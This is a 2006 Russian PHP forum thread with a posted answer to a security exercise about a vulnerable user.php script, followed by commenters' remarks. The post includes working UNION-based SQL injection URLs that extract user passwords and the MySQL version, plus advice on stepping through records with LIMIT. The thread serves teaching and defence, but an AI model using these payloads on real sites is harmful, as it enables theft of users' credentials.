Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Ответ 003 на задачу N 11
 
 автор: SoftTime   (07.03.2006 в 17:25)   письмо автору
 
 

Ответ 003 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
user.php

<?php 
    
// Устанавливаем соединение с базой данных 
    
require_once("config.php"); 
    
    
//Если идентификатор число
    
if (is_numeric($_GET[id_user])) //, то
        
$query "SELECT * FROM userslist WHERE id_user = $_GET[id_user]"// Запрашиваем список всех пользователей 
    /* Как ещё один вариант защиты, можно выбрать максимальный ID и смотреть, 
    чтобы id_user всегда был меньше него и больше нуля */
    
    
$usr mysql_query($query); 
    if(!
$usr) exit("Ошибка - ".mysql_error()); 
    
$user mysql_fetch_array($usr); 
    echo 
"Имя пользователя - $user[name]<br />"
    if(!empty(
$user['email'])) echo "e-mail - $user[email]<br />"
    if(!empty(
$user['url'])) echo "URL - $user[url]"
?>


Инъекция:
Для того чтобы получать разные пароли нужно менить первую цифру в LIMIT
В качестве ID - вводим любое большое число

user.php?id_user=99 UNION SELECT NULL, pass, NULL, NULL, NULL FROM userslist LIMIT 0,1
или

user.php?id_user=99 UNION SELECT 0,pass,0,0,0 FROM userslist LIMIT 0,1


Узнаем весию сервера

user.php?id_user=99 UNION SELECT NULL,VERSION(), NULL, NULL, NULL
или

user.php?id_user=99 UNION SELECT 0,VERSION(),0,0,0


http://www.softtime.ru/info/task.php?id_article=81

   
 
 автор: cheops   (13.03.2006 в 00:09)   письмо автору
 
   для: SoftTime   (07.03.2006 в 17:25)
 

Не удобно то, что число записей в базе данных может привышать 100 и включать 99 для первого эксплоита это не старшно, а вот для второго уже критично. Кроме того, разумно было бы использовать сортировку ORDER BY id_user, так как записи могут идти не попорядку и определить принадлежность пароля будет сложновато, так как первое число в LIMIT не будет коррелировать с id_user. Однако в данных конкретных условиях это не имеет значение, а чем в меньших ситуациях будет работать SQL-инъекция тем лучше для всех нас :)))
Защита мне нравится, так как я чего-то не доверяю is_numeric(), но она работает и обойти мне её никаким ухищрениями не удалось.

   
 
 автор: Sergey89   (13.03.2006 в 14:55)   письмо автору
 
   для: cheops   (13.03.2006 в 00:09)
 

Я просто подумал, что если сначала вывести имя пользователся с LIMIT n, то и пароль для него будет лежать в LIMIT n.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования